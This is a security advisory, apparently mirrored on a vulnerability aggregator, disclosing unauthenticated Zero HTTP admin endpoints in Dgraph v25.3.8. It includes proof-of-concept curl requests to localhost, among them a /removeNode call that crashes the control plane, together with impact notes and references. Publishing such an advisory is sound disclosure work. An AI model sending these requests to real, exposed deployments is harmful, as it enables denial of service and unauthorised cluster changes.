Résumé
Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service
Détails de l’avis
Summary
Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.
The exposed routes include:
/state/assign/removeNode/moveTablet
An unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.
Details
The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.
Relevant code paths:
worker/server_state.go:41dgraph/cmd/zero/run.go:295-301dgraph/cmd/zero/http.go:106-129dgraph/cmd/zero/zero.go:475-477
The relevant behavior is:
disable-admin-http=falseby default/removeNodeaccepts attacker-controlledidandgroupremoveNodeforwards those directly intoServer.RemoveNode- for
group=0,Server.RemoveNodeimmediately callsProposePeerRemoval
This means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.
PoC
Read state without authentication
curl -i http://127.0.0.1:6080/state
Observed response included:
- Zero node
id=1 groupId=0leader=true- cluster topology and tablet state
Write-capable route without authentication
curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'
Observed response:
HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}
This confirms the admin plane is not merely informational.
Destructive unauthenticated removeNode
curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'
Observed result:
curl: (52) Empty reply from server
Immediately afterward:
curl -i http://127.0.0.1:6080/health
Observed result:
curl: (56) Recv failure: Connection reset by peer
Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:
dial tcp [::1]:5080: connect: connection refused
This confirms the request reached the destructive path and disrupted the Zero control plane.
Impact
Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.
An attacker can:
- read cluster topology and control-plane metadata
- allocate IDs and timestamps
- invoke destructive membership actions
- disrupt the Zero control plane
- indirectly destabilize Alpha nodes that depend on Zero connectivity
This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.
Références
- https://github.com/advisories/GHSA-qj98-gp63-54xj
- https://github.com/dgraph-io/dgraph/security/advisories/GHSA-qj98-gp63-54xj
- https://nvd.nist.gov/vuln/detail/CVE-2026-102748
- https://github.com/dgraph-io/dgraph/commit/c32f6041387fa631dbc057e265b71aec3384ead1
- https://github.com/dgraph-io/dgraph/releases/tag/v25.4.0
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-61427
PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface
- CRITICALGHSA-v2f8-6655-7grj
Vibe-Trading FastAPI endpoints permit unauthenticated access, file upload, and an RCE chain
- CRITICALCVE-2026-61594
djust has an authorization bypass on the WebSocket/SSE mount path
- CRITICALCVE-2026-73842
OpenChoreo: cluster-gateway internal proxy performs no caller authentication and is not read-only — data-plane Secret disclosure and arbitrary Kubernetes mutation
- CRITICALCVE-2026-73843
OpenChoreo: Unauthenticated access to data-plane operations via OpenChoreo cluster-gateway management APIs
- CRITICALCVE-2026-105192
LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport